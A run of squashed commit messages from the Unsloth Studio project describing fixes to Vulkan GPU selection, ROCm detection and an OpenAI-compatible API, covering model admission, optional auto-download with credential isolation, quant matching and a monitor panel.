A stray newline (e.g. export UNSLOTH_ROCM_GFX_ARCH=$(cmd)) would make bash
miss gfx906 while Python catches it. Trim with `tr -d '[:space:]'` at both
comparison sites so the reroute target and bnb-skip agree across bash/Python.
* gfx906: remove generic bitsandbytes pulled in transitively after the skip
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Vulkan GPUs: real device names and selectable ordinals
Rebases the durable half of #7356 onto the inference_gpu transport #7476
landed on main. Those two PRs solve an overlapping problem and disagree on
the data model, so merging #7356 as-is would ship two parallel Vulkan
device concepts with different index semantics. This keeps main's transport
and adds what #7356 had that #7476 does not.
- _vulkan_probe.py emits a 5th column, ggml's device description, sanitized
for the tab protocol and UTF-8 safe. Reader tolerates 4- or 5-column
output so an older probe still parses.
- llama_cpp gains _run_vulkan_probe (shared parse) and
vulkan_device_inventory (names + is_igpu + real totals).
- get_vulkan_inference_gpu_info reports the real name and an explicit
is_igpu instead of "Vulkan<i>" and a total == 0 guess.
- index_kind becomes "vulkan", not "relative", and gpu_ids picks are
supported on Vulkan builds once the probe enumerated ordinals. The XPU ban
no longer applies to them: a Vulkan pick is a ggml ordinal, not a torch-xpu
index, so it works on an Intel host too.
- Frontend picker reads the Vulkan inventory as the pickable set.
Memory deliberately still comes from _get_gpu_memory, not the inventory.
That path applies _apply_igpu_host_reserve_mib and zeroes a shared total;
budgeting an APU off its raw shared total would hand out the whole machine's
RAM with no OS headroom. Identity is joined onto it by ordinal, so a probe
failure degrades to Vulkan<i> names with the memory readings intact.
Dropped from #7356 as superseded: validate_vulkan_gpu_ids (main's
resolve_requested_gpu_ids already rejects duplicates and
_resolve_gguf_gpu_ids_for_request already probes for existence), the
gguf_devices transport, and the iGPU budget fallback in 71619891e, which
main's aggregateGpuMemoryTotalGb handles better by counting a shared pool
once.
Also keeps #7356's removal of the late diffusion raise, so the graceful
gpu_ids drop stays reachable for a GGUF only classified as diffusion after
download. #7415's real guard, _reject_vulkan_diffusion_gpu_ids_before_
teardown, is untouched.
Verified on Windows + Strix Halo: backend Vulkan/GPU-selection suites at the
same 4 pre-existing failures as main, tests/studio 1671 passed with no new
failures, frontend typecheck clean. Hardware confirmation of the underlying
behavior is on #7356 from @Bebiv24 (RX 9070 XT + RX 480).
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: say which model is missing instead of "No model loaded"
A /v1 request naming a model that is not downloaded returned the generic
"No model loaded. Call POST /inference/load first.", which cannot fix it.
Return 404 model_not_found naming the model and listing what can serve,
and make the API usage examples name a model the server actually has.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: page the API monitor, show model load/unload, pin the example quant
The monitor rendered all 50 retained entries in one scroller: page it 5 at a
time, freezing history while paged back so live traffic cannot reorder it.
Add model load/unload rows so the feed shows what the server is doing, and
stop the header rendering the loaded model as a raw host path. Advertise each
model's GGUF quant on /v1/models so the example pins repo:QUANT, and move the
auto-switch section above the monitor with shorter copy.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: optionally download a model named in an OpenAI API request
Auto-switch only ever loaded models already on disk, so naming one this
server does not have either 404s or, when something else is loaded, gets
quietly answered by the resident model.
Add openai_api_auto_download_model (off by default, gated on auto-switch).
When on, a /v1 request naming a GGUF repo that is not downloaded starts a
background fetch and returns 503 with Retry-After and a typed
model_downloading code. The resident model keeps serving in the meantime,
and the retry after the download completes is served by the new model
through the existing auto-switch path.
The download reuses the Hub manager's service layer, which already does
repo-id validation, casing, claim bookkeeping, disk preflight, resume and
cancel. The in-loader download is deliberately not used: it silently falls
back to a smaller quant under low disk, which is wrong when the caller
named an exact one.
Admission is narrow, since a request only needs an API key:
- namespace/name only, so gpt-4 and other foreign ids fall through to the
resident model exactly as before
- GGUF only, decided from the remote file list rather than the repo name
- anything declaring auto_map is refused, so trust_remote_code stays a
deliberate opt-in in the UI and can never be granted over the API
- a single download at a time, plus a free-disk reserve
- one model_info call answers existence, gating and the quant list, so a
missing repo, a gated repo and a wrong quant each get their own error
With the setting off every one of these paths is byte-identical to before.
Also:
- monitor rows for downloads, with a live percentage
- public_model_id resolves an HF cache snapshot to its repo id, so a
cache-loaded model is no longer labelled with a commit sha; this drops
the duplicate helper added for the monitor and fixes the same leak in
the inference status response
- the unedited sk-unsloth-YOUR_KEY from the copyable examples now says so
instead of "Invalid or expired API key"; every other bad key keeps the
generic message
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: add an Unload button to the API monitor
The monitor names the loaded model but offered no way to free it. Idle
auto-unload is the only existing release path, and it needs a TTL and a
wait.
The button sits next to Refresh, appears only while a model is loaded and
is disabled mid-unload. /unload matches on the internal identifier, which
this response deliberately omits because it would be a host path, so the
click reads it from /api/inference/status the same way the chat runtime
does rather than widening the monitor payload.
Also stamp the manual unload row with the quant, read before the teardown
clears it, so it reads repo:QUANT like the load row it pairs with.
* Studio: keep the API monitor Unload button visible when idle
It only rendered while a model was loaded, which hid the one manual
release path at exactly the moment someone goes looking for it. Render it
always, disabled with a "No model is loaded" tooltip when there is nothing
to free.
* Studio: never answer a named model with a different one
Asking for a model this server is not serving returned 200 from whatever
was resident. Requesting gemma-4-E2B-it-GGUF:UD-Q6_K_XL while UD-Q4_K_XL
was loaded got a confident answer from the wrong quant, with nothing in
the response saying so.
A name carrying a namespace (org/model, optionally :QUANT) is a concrete
reference, so 404 instead, with the reason:
- wrong quant -> names the quants that are actually downloaded
- not on disk -> lists what is available
- on disk but auto-switch off -> says to turn it on
Ids without a namespace (gpt-4, claude-3, default) are foreign labels
rather than references, so they still fall through to the resident model
and drop-in clients are unaffected. A bare org/model is still satisfied by
any loaded quant of that repo; only an explicit :QUANT must match.
The check runs whatever the auto-switch and auto-download toggles are,
since serving the wrong weights is wrong in every configuration. It is
skipped when nothing is loaded, where the existing no-model-loaded error
already says the right thing, and when the model is on disk with
auto-switch on, where a failed swap should still fall back.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: use a simpler prompt in the API usage examples
"What is Unsloth Studio?" rather than "Can Unsloth Studio do API calling?".
One constant feeds all nine snippet tabs.
* Studio: only refuse a model reference meant for this server
A namespace alone was treated as a concrete model reference, so a /v1
request naming anthropic/claude-3.5-sonnet, openai/gpt-4o or any other
LiteLLM or OpenRouter style vendor/model id started returning 404 instead
of being answered by the resident model. Refuse only on evidence the
caller meant this server: an explicit GGUF quant label, or a repo that is
actually on disk here. gpt-4 and vendor/model alike fall through again,
while the wrong-quant and wrong-repo cases this PR exists for still
refuse.
Also from review:
- Release the single download slot by object identity, not repo id. A
stale watcher could clear a newer download of the same repo and let a
second multi-GB fetch start alongside it.
- Catch BaseException around admission: CancelledError is not an
Exception, so a cancelled request stranded the slot for the process
lifetime.
- Honour the download service's accepted=False, which it returns without
raising for a cross-variant conflict, instead of promising a download
that was never dispatched.
- Treat a failed status probe as unknown rather than idle, so a transient
read cannot fail the monitor row and free the slot under a live worker.
- Check gated repos with auth_check. The Hub serves metadata for a gated
repo without granting its files, so the licence gate was being reported
as the unrelated custom-code refusal.
- Size the disk reserve from the download plan, which includes the mmproj
and MTP companions the worker fetches with every quant.
- Never fetch under the server's own HF token. The repo is named by
whoever holds an API key, so the ambient token let that key pull the
owner's private repos.
- Refuse an explicit quant on a backend with no quant identity, gated on
the suffix really being a quant so Ollama style :latest tags still match.
- Raise instead of falling through when the diagnosis fails: the mismatch
is already established by then, only the wording is uncertain.
- Report a failed switch as 503 model_switch_failed rather than answering
as the resident model.
- Fail an open monitor row under the same lock as the check, so a finish
landing in between cannot stamp an error onto a completed row.
- Usage examples never emit a hardcoded model id: the catalog is tri-state
and the panel asks for a model to be loaded instead of printing one the
server cannot serve. It also refreshes when the loaded model changes.
- Keep the monitor pager reachable while frozen entries expire.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: scope the auto-download 404 cache to the caller's credentials
The Hub answers 404 for a private repo the caller cannot see, so caching
that verdict per repo alone let one anonymous request mark a private repo
unservable for everyone for the whole TTL. A later caller sending a valid
X-Unsloth-HF-Token skipped the probe and fell through to the resident
model instead of downloading what it asked for. Keyed on the repo id plus
a digest of the token now, so the token itself is never held.
Two more from the same review:
- Clear the chat runtime checkpoint after unloading from the API monitor,
as the chat eject flow already does. The store went on treating the
freed checkpoint as loaded and the usage examples kept naming it.
- Point gated and not-found callers at the X-Unsloth-HF-Token header.
Automatic download deliberately ignores the server's own Hugging Face
identity, so telling the user to add a token in Studio sent them round
the same 403 forever.
* Studio: tighten the comments added by this branch
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep API auto-download off the server's Hugging Face identity
Passing None for the caller's token was not anonymous. spawn_worker
substitutes the backend's HF_TOKEN for a falsy one, and HfApi(token=None)
falls back to a cached login, so a repo named by an API-key holder could
still be fetched under the owner's Hub identity and land in the shared
catalog. The metadata probe and auth_check now pass an explicit False,
and dispatch threads allow_ambient_token=False so the worker stays
anonymous too. The flag defaults to True, so the UI download path keeps
the ambient fallback that private repos rely on.
Three more from the same review:
- Require an exact hf_variant match only when the suffix is really a
quant. The llama.cpp branch still compared Ollama style :latest and :8b
against the loaded quant and refused the resident model, which is the
opposite of what looks_like_quant classifies them as.
- Decode an HF cache repo id only when the models-- component is followed
by snapshots. An ordinary directory whose name merely starts with
models-- was being read as an encoded repo id.
- Return the probing response before consulting the job registry when an
adopted claim has no variant yet. A stale error on the whole-repo key
could otherwise release the slot the first request's probe still holds,
letting a second large download start beside it.
* Studio: stop treating a namespace as what decides model intent
The rule refused a reference only when it carried a namespace, which was
wrong in both directions. vendor/model is how LiteLLM and OpenRouter name
every provider, and a standalone or custom-folder GGUF is advertised
without one, so asking for a path-free local id such as model-Q4_K_M was
answered by whatever else happened to be resident. The slashless early
return is gone and the same evidence test now applies to every id: an
explicit quant, or a model that actually resolves here. gpt-4 and default
still fall through because they are not local, not because of their shape.
Also:
- Recognise bits-per-weight quant labels. _extract_quant_label emits
IQ4_XS-3.53bpw and the resolver and downloader both accept it, but
_GGUF_KNOWN_QUANT_RE has no bpw group, so looks_like_quant rejected a
reference the rest of the machinery understands.
- Upper-case the synthetic names handed to _pick_best_gguf. Its preference
tokens are upper case and matched case-sensitively, so a repo with
lower-case filenames skipped the preference and took the first entry,
which can be F16.
- Only offer a downloaded but unloaded model as a runnable example when
auto-switch is on. It is off by default, so the copied snippet hit the
no-model-loaded error, which is the failure this branch exists to fix.
The tool-passthrough cancel test stubbed asyncio.to_thread module-wide, so
it cancelled at the first thread hop rather than the generation hop it
means to test. Model resolution runs off the loop before the monitor row
opens, so that stub now passes the resolver through.
* Studio: tighten the comments added since the last pass
* Studio: match a resident model through its resolver alias
A manual load stores the model by its on-disk path while the resolver and
/v1/models advertise it as publisher/model, so _loaded_satisfies could not
recognise the alias. Reducing the resolution to a boolean then threw away
the load path that would have proved the match, and the request was
refused with 404 for a model the server was serving at that moment. Common
for LM Studio models and custom-folder aliases. The resolved path is
compared against the resident backend before anything is refused.
Also:
- Size disk admission on what is left to fetch. expected_bytes is the whole
plan, so a resumed quant or a companion already pulled in by another
quant was charged for twice and could 507 a download that fits. Cached
blobs are subtracted through existing_blob_bytes, the same accounting the
worker's own preflight does, and it falls open to the full size when no
blob hashes are available.
- Report a cancelled download as cancelled. The catch-all sent every state
other than complete or idle through fail_open, so a deliberate cancel
rendered as a download failure rather than the monitor's cancelled state.
- Keep polling the servable ids while nothing is loaded. The poll settled
as soon as auto-switch was on, so turning it back off left the examples
naming an unloaded model until something else remounted the panel.
* Studio: shorten the comments added in the last pass
* Studio: keep the FLA fast-path tests hermetic across transformers versions
_discover_fla_model_types scans the *installed* transformers for modeling
files importing `from fla.`, so `models/qwen3_5/` only exists from
transformers 5.x. The backend supports transformers>=4.51, and on a 4.x
install the Qwen3.5 gate returns False, so 14 tests in
test_training_worker_flash_attn.py silently exercised a no-op instead of the
install path and failed their call-count assertions.
Pin the discovered model_type set in those 14 tests, the same way
test_hook_does_not_install_tilelang_for_model_outside_allowlist already pins
it against newly added FLA model_types. Test-only change: the production
gate and the _discover_fla_model_types unit tests are untouched.
* Studio: keep the /v1 admission check off the model-scanning path
The admission check added here runs on every /v1 request, including with
auto-switch off, where the route used to return straight away. It called
resolve_local_gguf, whose index is cached for 5s and otherwise rebuilt by
walking ./models and every HF cache root, under a lock the next caller waits
on. On an install with a large cache that scan measured 6.1s, longer than the
TTL that is meant to amortise it, so steady traffic would keep rebuilding it.
Answer from the last built index instead and never rebuild from the request
path: a stale answer is fine here, since what is on disk barely moves and a
finished download already invalidates the index. The first request, before any
scan has completed, warms the index on a background thread and skips the check
rather than blocking on it. That also makes the lookup a dict read, so it no
longer needs handing to a thread.
Cold resolve on this box goes from 6152495us to 0.4us, and the whole hook now
costs the same for a foreign label as for the resident model.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix the admission hook's cold, stale and contended index paths
Five review items, four of them on the admission hook added here.
Skipping the check until the first scan lands also skipped explicit quant
mismatches, so the first request after startup could ask for :Q8_0 while
Q4_K_M was resident and be answered by it. The early return was redundant as
well: with an empty index resolved is None and here is False, so the gate below
already lets a bare name through and refuses an explicit quant, which is what
the except branch has always concluded. Dropped it and index_is_built with it.
index_is_built took _lock, which _index holds for the whole scan, so once a
warm was running every later request blocked on the event loop for exactly as
long as the scan it was there to avoid. The warm now has its own lock and reads
the timestamp unlocked, which is safe because _scan is only ever rebound.
Warming only when the index had never been built left a model fetched in the
Hub UI, or dropped into a scan folder, invisible for the life of the process,
since only the auto-download watcher calls invalidate_index. Warm on staleness
too, and unconditionally, so it refreshes within a TTL without a scan on the
request path. Rescanning is capped at a tenth of the scan's own duration: a big
install takes longer to scan than the TTL, and warming on the TTL alone would
keep a thread scanning continuously.
An Ollama-style tag names no quant, so the resolver misses it and auto-download
saw a model the resident one already answers to, then 404'd it for having no
such quant. Return early when the loaded model satisfies the reference.
Frontend: a cancelled download said "Model download failed", because the label
collapsed everything non-completed into failure.
The backend tests get an autouse fixture that stops the warm from walking the
developer's real HF caches; that scan starved the loop under the timing
sensitive streaming tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make /v1/models and the admission hook agree on what is local
Three review items, all on the seam between the catalog scan and the resolver
index, which run on separate schedules.
/v1/models can advertise a local GGUF the resolver has not indexed yet. A bare
id carries no quant to refuse on, so a client asking for one it had just been
handed was answered by the resident model instead. The hook now reads the
catalog cache as evidence too, never scanning it. It takes the path rather than
a yes/no because the converse also happens: the catalog can list the resident
weights under an alias the loaded entry does not answer to, and those must stay
served.
That alias was also emitted twice by /v1/models, once as the loaded basename a
manual load records and once as publisher/model marked unloaded, because the
dedup only compared ids. Compare the path as well.
A directly loaded standalone .gguf takes its quant from the filename, but the
resolver stores such files with no quants, so the advertised <stem>:<quant>
stopped resolving as soon as anything else loaded. Advertise a quant only when
that reference resolves, and downgrade only on a definite answer so a cold
index leaves the metadata alone.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten the comments this branch adds
Collapse the multi-line notes in the auto-download path, the /v1 admission
hook and their tests to one line each, keeping the reason and dropping the
restatement. No behaviour change.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: four admission and catalog fixes from review
Lowercasing paths in _resolves_to_resident made /srv/models/Foo and
/srv/models/foo the same weights on any case-sensitive filesystem, so a request
for one could be answered by the other and /v1/models could mark the wrong
entry loaded. That helper now backs residency as well as admission, so use
os.path.normcase, which folds case only where the filesystem does.
Advertising a quant whenever the resolver could not disprove it kept the bug it
was meant to fix: a standalone .gguf loaded before the first scan still got
<stem>:<quant> published, and the usage examples persist that. No proof is not
proof, so omit it and warm the index instead.
A 401 from an expired or invalid X-Unsloth-HF-Token skipped the 403 and 404
branches and surfaced as "could not reach Hugging Face, retry shortly". It now
says to replace the token, kept apart from the gated refusal since a rejected
credential is not an unaccepted licence.
An image request naming an undownloaded text-only GGUF started the whole
download and only then hit the capability guard, which never sees a remote
target, so every retry 400d and the bytes were wasted. Thread require_vision
into admission and check it against the mmproj companions the disk preflight
already asks build_gguf_variant_plans for.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the Hub error fixture carry a status on both hub majors
The 401 test built HfHubHTTPError directly, which works on 0.x and fails on 1.x
where response is required and keyword-only, so all four Python jobs failed
while the same test passed locally.
_hub_error already handled both constructors, but the 0.x branch left the
exception with no response at all, and hf_error_status reads the status off it
for the types that do not encode it in their name. So it could only produce a
usable error on 1.x, which is why the test bypassed it. Attach the status when
the constructed exception lacks it, and use the helper.
Cover the helper itself against stand-ins for both constructor shapes, since
whichever hub is installed only ever exercises one of them.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: invalidate on every download, resolve bare tags, keep polling
Three review items.
Only the API auto-download watcher dropped the resolver cache, so a GGUF
fetched in the Hub UI stayed absent to the cache-only request path and the
request was answered by whatever was resident. finalize_worker_exit is the one
point every download worker exits through, so invalidate there. That closes the
window without leaning on the TTL, which the scan-duration throttle can stretch
past 5s on an install where the scan itself takes longer than that.
A downloaded but unloaded GGUF asked for as org/model:latest missed the
resolver, since the suffix was always treated as an exact quant. With
auto-download on that probed the Hub and returned a 404 for a quant that was
never a quant; with it off it refused without switching. Fall back to the base
entry when the suffix is not quant-shaped, and keep exact matching for real
quants so a swap can never serve the wrong weights under the right name.
The usage examples stopped polling once a model was resident, but idle unload
frees one without touching the store, so nothing re-ran the effect and the
examples kept naming a model that could no longer be reloaded. Slow the poll to
60s instead of stopping it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: hold the download slot while it is in use, and keep quants to llama.cpp
_loaded_satisfies refuses a quant reference against the Transformers backend by
name, but the path match did not carry that rule. A Transformers model active
from a directory that also holds GGUF exports therefore matched a request for
one of those quants and answered it with the safetensors weights. Only
llama.cpp has a quant identity, so admission now passes llama_only whenever the
reference is quant-qualified. A bare name still matches either backend, and
/v1/models residency keeps the default so a loaded Transformers model is still
reported loaded.
The 24 hour watch window was bounding ownership of the single-flight slot when
it should only have been bounding progress reporting, so a legitimately slow
download had its slot handed back while the worker was still writing, admitting
a second multi-gigabyte download beside it. Resolve the row on the clock, but
keep the slot on a slower poll until the job is actually terminal. Past the
deadline an unknown state does release it, since it means the worker cannot be
probed and holding it on that forever would wedge auto-download.
* Studio: keep what the resolver already knew when a download lands
Invalidating cleared the index to empty. The request path reads that cache
without scanning, so from a completed download until the rebuild landed it had
no evidence about any local model, not just the new one, and a bare request for
any of them was answered by whatever was resident. Wiring the hook into the
shared completion path in the last commit widened that from auto-download to
every download.
Mark the scan stale and keep the entries instead. Both _index and
warm_index_soon rebuild on a zero stamp, while the request path still sees
everything it knew a moment ago. Only a completed download invalidates, and
that only ever adds models, so nothing retained goes false.
Warm from the completion hook too, so the rebuild starts when the download
lands rather than when the next request happens to need it.
* Studio: match the quant, not just the directory, and default-select bare tags
Two quants of one repo share a directory, so the path match could not tell them
apart and an explicit :Q8_0 was answered by a resident Q4_K_M that
_loaded_satisfies had already refused by name. The llama_only fix in the last
commit only ruled out the wrong backend, not the wrong quant on the right one.
Both path matches now require the resident hf_variant to equal the requested
quant whenever the reference is quantified; a bare name still matches on the
path alone, since it claims nothing about the weights.
The local resolver already treated a tag that names no quant as meaning the
repo, but remote admission still looked for a quant literally called "latest",
so the same reference resolved locally and 404d remotely. Branch on
looks_like_quant there too. A real quant the repo does not have is still a 404
and never a substitution, which is what separates this from the loader's
low-disk fallback.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: one quant preference, and stop trusting a stale checkpoint
list_local_gguf_variants sorts by descending size, so the head of variants was
the biggest quant, often F16, while remote admission and a plain load both rank
through _pick_best_gguf. A bare id therefore meant a different quant depending
on which side answered it, and the local answer was the one that could evict a
working model and then fail or OOM starting an F16 next to a usable Q4.
/v1/models advertised that same head for pinning. Pull the ranking into one
preferred_quant helper and have both sides use it.
The usage examples returned a stored checkpoint without ever consulting
/v1/models, and the polling added last round was gated on not having one, so
for a stored checkpoint it never ran. An idle unload then left the panel
showing a snippet that could not run. Poll whenever mounted, and prefer the
checkpoint only while the catalog still backs it or switching can reload it. A
catalog that has not answered yet is not evidence against it.
The static contract pinned the old dependency array, so it now asserts the
intent it documents: a finished load re-runs the fetch, and the effect is not
gated on having no checkpoint.
* Studio: fix the Windows path compare, and advertise a label the worker knows
The case fix normalized the separator to "/" and then called os.path.normcase,
which on Windows folds case and rewrites the separator back to a backslash, so
the descendant checks compared against a "/" the path no longer had. A manually
loaded GGUF reached through an alias then read as a different model, giving a
false 404 and an alias marked unloaded. Run normcase first and normalize the
separator after it.
There are two quant-label extractors and they only agree while a recognized
quant token is present. With none, _extract_quant_label takes the last
hyphenated segment, "7b" of llama-7b, while build_gguf_variant_plans and the
worker key the whole stem: the plan lookup missed and the job exited on a
variant it had no shards for. Use the canonical extractor for the unrecognized
case only. Checked across real filenames first, the two match on every
recognized quant and part on bpw-qualified labels, which _extract_quant_label
keeps apart on purpose so byteshape's IQ4_XS at 3.53, 3.97 and 4.19 bpw stay
separate variants.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: a stored checkpoint needs catalog evidence, not just the switch setting
Preferring it whenever switching was on short-circuited the catalog check, so a
checkpoint the store still held after the model was deleted or moved kept being
named even though /v1/models had already proved it absent, and the snippets 404d
instead of falling back to a model that is actually there.
A lookup rather than a disjunction, which settles the whole matrix in one place:
no answer yet keeps the checkpoint, since that is not evidence against it; listed
and resident keeps it; listed but unloaded keeps it only when switching can
reload it; absent falls back whatever the setting says.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: normalize the quote style pre-commit would have rewritten
* Studio: cover the model that just landed, and pin the quant the catalog has
Retaining the index on invalidation protects what was already scanned and by
construction cannot contain the model that just finished downloading, so a bare
request for it in the window before the rebuild was still answered by the
resident model. Record the repo at the completion hook and treat that as
admission evidence alongside the resolver and the catalog; the next completed
scan clears the notes, since the index then covers them. Publishing a rebuilt
index before completion becomes observable would have closed it too, but that
blocks the download worker for the length of the scan.
Catalog membership proves the repo, not the saved quant, and the examples then
pinned the stored one. A quant deleted while another quant of the same repo
remained produced repo:deleted-quant, a missing-quant 404 with a runnable
alternative listed right beside it. Pin what the catalog advertises: for a
resident entry that is the resident quant, for an unloaded one it is a quant
actually on disk. The store is only consulted before /v1/models has answered.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: apply three rules everywhere they belong, not only where reported
The trust probe was the last credential handoff still passing a raw token.
huggingface_hub reads None as "use the cached login", so a caller-named repo
was read with this server's Hugging Face identity whenever the caller sent
none, which is exactly the isolation the metadata probe and the worker already
keep. It takes _hub_token now. Enumerated the rest of that path while there:
auth_check, model_info and spawn_worker were already correct.
finalize_worker_exit is shared with dataset downloads, so the resolver hook
fired for every completed dataset, scanning the model directories for nothing
and recording the dataset id as local-model evidence, which turns a bare /v1
request naming that id into a refusal instead of a foreign-id fallthrough.
Gated on repo_type.
_already_serving decided "bare" on the presence of a colon while
_loaded_satisfies and the resolver decide it on whether the suffix names a
quant, so org/model:latest against a serving Q8_0 read as a mismatch and
swapped in the preferred Q4_K_M for a request either one answers. That rule now
lives in four places, each fixed in its own round, so this time I looked for
the rest and found a fifth: describe_local_miss splits on the bare colon and
its docstring claims it splits like the resolver. It no longer did, and would
report a missing quant named "latest". Fixed here too, unreported.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: probe before refusing busy, and scan once when the index is cold
The busy refusal fired before anything established the requested label was a
model at all, so any namespaced id a drop-in client sends was told to wait out
an unrelated download for as long as it ran. Probe first and refuse only a
label the Hub actually serves as GGUF; anything else falls through to the
resident model as before. A probe failure answers "not downloadable", since
stranding ordinary traffic costs more than missing a busy refusal.
Treating an unbuilt index as "nothing here" let the first request after startup
be answered by the resident model under another model's name. That was a
deliberate trade to keep the scan off the request path, and it was the wrong
one. Cold, the scan now runs once on a thread, bounded so a pathological
install falls through rather than hanging the request. Built, the request path
still never scans, so the latency fix stands.
The watcher freed the slot the moment it saw an error, while Retry-After is
thirty times the poll interval, so the client came back to an empty slot and
restarted the same failing download instead of being told. Hold the failure on
the slot until a retry surfaces it, and let another repo take it after three
retry intervals so a client that never returns cannot keep it.
The watcher also invalidated on completion, which now lands after
finalize_worker_exit's warm and marks that fresh scan stale, pushing a
synchronous rescan onto the retry. Removed.
_loaded_satisfies lowercased paths as well as aliases, so it returned satisfied
before the case-preserving compare below could run. Both now go through one
helper: paths compare with normcase, aliases stay case-insensitive.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: an unfinished scan is not absence, and a decided refusal is not a failure
Bounding the cold scan then reading the bound as "not here" left the same hole
one branch over. A timeout now answers 503 model_indexing with a Retry-After
and leaves the warm running. A foreign label sent inside that window is asked
to retry rather than falling through, which is a real cost, but the window is
one request on an install whose scan exceeds ten seconds and it clears itself,
where answering with the wrong weights does not.
That uncovered a worse one. Every check here runs inside a broad except whose
job is "could not verify, so fall through", so an HTTPException raised in the
block was logged as a verification failure and the request was answered by the
resident model. Any refusal decided in there was being swallowed. Re-raise it
ahead of that handler.
Canonicalizing generic labels made them real variant keys, but the matcher
still decided on shape, so repo:llama-13b fell past an exact match and fetched
llama-7b. Match exactly first, whatever the shape; a quant-shaped suffix that
matches nothing is still a miss and never a swap.
Marking a catalog alias loaded while publishing the preferred on-disk quant
claimed alias:Q4 was loaded while Q8 was serving, and requiring the resident
quant to match then made pinning it a 404. Advertise the resident variant when
the entry resolves to the resident model.
* Studio: keep the asyncio.timeout fallback tests runnable on Python 3.10
Both tests deleted asyncio.timeout to force _wall_clock_timeout down its
pre-3.11 branch, but monkeypatch.delattr raises when the attribute is already
absent. On Python 3.10, the one version the fallback exists for, there is
nothing to delete, so the two tests errored with AttributeError before reaching
the code they cover. Passing raising=False makes the deletion a no-op there and
leaves the assertions running against the same branch on every version.
Every other delattr in the repo already passes raising=False for exactly this
reason. Verified with asyncio.timeout removed from the interpreter: the two
tests fail with the CI AttributeError before this change and pass after, and
the file still runs 89 passed on 3.13 where the deletion is real.
* Studio: decide GGUF residency, servability and variant keys by one rule each
Four admission and catalog fixes, each closing a gap between two places that
were answering the same question differently.
The /v1/models catalog asked _resolves_to_resident without llama_only, so a
Transformers model live from a directory that also holds GGUF exports marked a
GGUF alias loaded and gave it a GGUF quant. The usage examples then pinned
alias:quant that nothing could serve with switching off. Every entry in that
loop is advertised as GGUF, so residency there is llama.cpp residency.
The busy probe accepted any .gguf sibling while admission excludes mmproj, MTP
drafters and big-endian builds. A repo holding only companions is not
downloadable, so it was held at model_download_busy for the length of an
unrelated download instead of falling through to the resident model as it does
when no download is running. It now reuses _gguf_variants, the same filter.
split_model_ref refused any slash-bearing suffix, but an unrecognized GGUF below
a subdirectory keys on its path (build/llama-13b), which is_valid_gguf_variant
allows and the catalog advertises. Pinning such a variant could not parse, so
only the default-ranked one was reachable. A slash-bearing suffix is now a
variant exactly when a real Hub repo precedes it, which still leaves
C:/models/x.gguf a path rather than a quant.
The usage examples treated a downloaded-but-unloaded model as runnable only
under auto-switch, but a standalone UNSLOTH_MODEL_IDLE_TTL reloads exactly what
it freed on the next request. The panel hid runnable examples after an idle
unload. Tracked apart from auto-switch, because the stash restores the stored
checkpoint only and never an arbitrary catalog entry.
Also stub the index walk in the three cold-index tests that missed it: a real
multi-root scan inside the cold-wait budget made them time out into a 503 under
load rather than assert what they are there for. One of them flaked locally.
Verified each fix is load-bearing by reverting it and watching its test fail.
Backend CI command: 10195 passed, 0 failed. tsc -b and the frontend build clean.
* Studio: bound the Hub admission probes and stop guessing at nested model paths
Three review fixes plus a test-isolation one.
_resolves_to_resident matched on a path prefix, so two separately indexed models
that nest (/models/A alongside /models/A/sub/B) both satisfied it: loading B
made a request for A resident and answered it with B's weights, and the catalog
marked A loaded. A prefix match now counts only when no catalog entry sits
deeper, which is the innermost indexed model that actually owns the file. With
nothing indexed there is no nesting to tell apart, so the directory-to-weights
match this exists for is unchanged.
auth_check and hf_hub_download take no timeout of their own, and both ran while
the provisional single-flight slot was held, so an unresponsive Hub stalled the
request far past the metadata budget and reported every other model busy for the
duration. Both are bounded now. Each default errs the safe way: an unchecked
repo is not a cleared one, so the custom-code probe refuses on timeout, while a
slow gated-repo check stays inconclusive because the download's own auth is the
real gate.
The usage examples caught a failed refresh into an empty catalog and a disabled
auto-switch, which made a transient error authoritative and blanked every
example while the model was still servable. The catalog is deliberately
tri-state; a failure now keeps the last answer and retries.
Also start the backend tests from a built, empty model index. Stubbing only the
background warm still left the cold path walking real caches synchronously
inside the admission wait, so on a large install a test asserted against a 503
"still indexing" instead of its subject. _build_index is untouched, so the tests
that call it directly still exercise the real walk.
Verified each fix is load-bearing by reverting it and watching its test fail.
